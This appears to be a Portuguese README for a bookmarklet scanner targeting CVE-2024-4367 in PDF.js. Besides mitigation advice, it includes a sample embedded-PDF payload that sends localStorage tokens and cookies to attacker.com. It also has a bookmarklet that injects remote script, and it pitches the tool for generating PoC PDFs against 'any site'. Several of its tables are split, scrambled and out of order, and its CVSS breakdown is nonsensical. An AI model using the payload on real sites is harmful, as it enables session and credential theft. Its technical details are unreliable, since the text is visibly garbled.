
SCAN END POC THE CVE-2024-4367
⚠️ FERRAMENTA DE SEGURANÇA CRÍTICA | Detecta CVE-2024-4367 (CVSS 9.8) - Vulnerabilidade de Execução Remota de Código no PDF.js
Funciona em QUALQUER site - Nenhuma configuração necessária
CVE-2024-4367 é uma vulnerabilidade crítica no PDF.js (versões < 4.2.67) que permite execução arbitrária de JavaScript por meio de arquivos PDF maliciosos. Este scanner detecta automaticamente instâncias vulneráveis do PDF.js em QUALQUER site.
O PDF.js contém uma falha onde JavaScript embutido em arquivos PDF é executado sem sandboxing adequado, permitindo que atacantes:
F12 para abrir as Ferramentas do DesenvolvedorEnterCrie um favorito com esta URL:
javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Abra qualquer site e execute o script
<embed><object>?pdf=, ?file=, ?src=).pdf┌─────────────────────────────────────────────────────────────┐
│ FLUXO DO PROCESSO DE VARREDURA │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 📚 CARREGAR SCRIPTS │
│ ├─ Scripts externos (todos <script src="">) │
│ └─ Scripts inline (todas as tags <script>) │
│ │
│ 2. 🔍 EXTRAIR VERSÃO DO PDF.JS │
│ ├─ Correspondência de padrões no código │
│ ├─ Detecção de Package.json │
│ └─ Análise de caminhos em Node_modules │
│ │
│ 3. 🎯 IDENTIFICAR VULNERABILIDADE │
│ ├─ versão < 4.2.67 ? → VULNERÁVEL │
│ └─ versão = 2.16.105 ? → VULNERÁVEL │
│ │
│ 4. 🖼️ LOCALIZAR VISUALIZADORES │
│ ├─ Varredura de elementos DOM │
│ └─ Detecção de atributos │
│ │
│ 5. ⚡ GERAR POC │
│ ├─ Criar PDF de teste │
│ └─ Fornecer link de download │
│ │
│ 6. 📊 EXIBIR RESULTADOS │
│ ├─ Sobreposição visual │
│ ├─ Relatório no console │
│ └─ Armazenamento em variável global │
│ │
└─────────────────────────────────────────────────────────────┘
╔═══════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2024-4367 - SCANNER UNIVERSAL PDF.js ║
║ Detecta versões vulneráveis do PDF.js e potencial exploração ║
╚═══════════════════════════════════════════════════════════════════════════════════╝
📚 FASE 1: Varredura de Pacotes JavaScript em busca de PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Encontrados 42 scripts externos
[+] Encontrados 12 scripts inline
[1/42] Analisando: vendor.bundle.js
→ Indicador PDF.js encontrado: pdfjs-dist
✅ Versão do PDF.js encontrada: 2.16.105
🚨 VULNERÁVEL ao CVE-2024-4367!
🎯 FASE 4: Identificando Vetores de Exploração
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
⚠️ Parâmetro de URL aceita PDF: file=/documents/report.pdf
⚠️ Formulário de upload PDF encontrado
█████████████████████████████████████████████████████████████████████████████████
RELATÓRIO FINAL DA VARREDURA
█████████████████████████████████████████████████████████████████████████████████
🚨 VULNERABILIDADE CRÍTICA CONFIRMADA!
CVE: CVE-2024-4367
CVSS: 9.8 (CRÍTICO)
Impacto: Execução Arbitrária de JavaScript
┌─────────────────────────────────────────────────────────────┐
│ RESULTADOS DA VARREDURA CVE-2024-4367 │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 📍 Alvo: example.com │
│ 📦 PDF.js: 2.16.105 │
│ 🎯 Vulnerável: SIM │
│ 📄 Visualizadores: 3 │
│ ⚡ Vetores: 2 │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 🔴 CRÍTICO - Atualização Necessária │
└─────────────────────────────────────────────────────────────┘
# Para projetos Node.js
npm install pdfjs-dist@latest
# Para uso via CDN
# Atualize para a versão 4.2.67 ou superior
// Defina isso antes de carregar o PDF.js
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;
Content-Security-Policy: script-src 'self';
object-src 'none';
worker-src 'none'
// Validar arquivos PDF antes de renderizar
function validatePDF(file) {
// Verificar bytes mágicos
const header = file.slice(0, 5);
if (header !== '%PDF-') {
throw new Error('Arquivo PDF inválido');
}
// Procurar por JavaScript
const text = file.toString();
if (text.includes('/JavaScript') ||
text.includes('/JS') ||
text.includes('<< /S /JavaScript >>')) {
throw new Error('PDF contém JavaScript');
}
}
Parâmetros de URL
/viewer?file=malicious.pdf
/download?pdf=malicious.pdf
Uploads de Arquivos
<input type="file" accept=".pdf">
Visualizadores Embutidos
<embed src="malicious.pdf">
Endpoints de API
/api/documents/123/download
/api/report/pdf
// PDF JavaScript embutido
this.alert('CVE-2024-4367 Explorado!');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('token'),
cookies: document.cookie
})
});
Instale o scanner
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
Execute o scanner
# Abra o site alvo
# Cole o scanner no console
# Ou use o bookmarklet
Analise os resultados
Baixe o PDF POC (se vulnerável)
Aplique as correções
| Cenário | Resultado |
|---|---|
| PDF.js 2.16.105 | 🔴 CRÍTICO |
| PDF.js 3.x | 🔴 VULNERÁVEL |
| PDF.js 4.0.x | 🔴 VULNERÁVEL |
| PDF.js 4.2.67+ |
// Versões vulneráveis
const VULNERABLE_VERSIONS = [
{ version: '2.16.105', status: 'CRITICAL' },
{ version: '3.x.x', status: 'CRITICAL' },
{ version: '4.0.x - 4.2.66', status: 'CRITICAL' }
];
// Versão segura
const SAFE_VERSION = '4.2.67';
| Data | Evento |
|---|---|
| 2024-04-23 | Vulnerabilidade descoberta |
| 2024-04-24 | CVE-2024-4367 atribuído |
| 2024-04-25 |
IMPORTANTE: Esta ferramenta destina-se apenas a testes de segurança autorizados e fins educacionais.
- ✅ FAÇA use em seus próprios sites
- ✅ FAÇA use com permissão explícita
- ✅ FAÇA use para pesquisa de segurança
- ❌ NÃO FAÇA use em sistemas não autorizados
- ❌ NÃO FAÇA use para fins maliciosos
Os autores não são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta.
Contribuições são bem-vindas! Por favor:
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Faça suas alterações
# Teste em vários sites
# Envie o PR
Este projeto está licenciado sob a Licença MIT - veja o arquivo LICENSE para detalhes.
Se você achar esta ferramenta útil:
🛡️ Mantenha-se Seguro. Teste Cedo. Teste Frequentemente.
Feito com ❤️ pela comunidade de segurança
| Solução | Dificuldade | Eficácia |
|---|
| Atualizar PDF.js | Fácil | ✅ Correção completa |
| Desabilitar JS no PDF.js | Fácil | ✅ Correção completa |
| Implementação de CSP | Médio | ✅ Boa |
| Validação no servidor | Médio | ✅ Boa |
| Renderização em sandbox | Difícil | ✅ Excelente |
| ✅ SEGURO |
| Sem PDF.js | ℹ️ SEGURO |
| Correção lançada (4.2.67) |
| 2024-04-26 | Divulgação pública |
| 2024-05-01 | Tentativas de exploração observadas |
| Componente | Pontuação |
|---|
| Vetor de Ataque | Rede (9.8) |
| Complexidade do Ataque | Baixa (9.8) |
| Privilégios Necessários | Nenhum (9.8) |
| Interação do Usuário | Necessária (8.8) |
| Escopo | Alterado (9.1) |
| Confidencialidade | Alta (9.8) |
| Integridade | Alta (9.8) |
| Disponibilidade | Alta (9.8) |
| Geral | 9.8 (CRÍTICO) |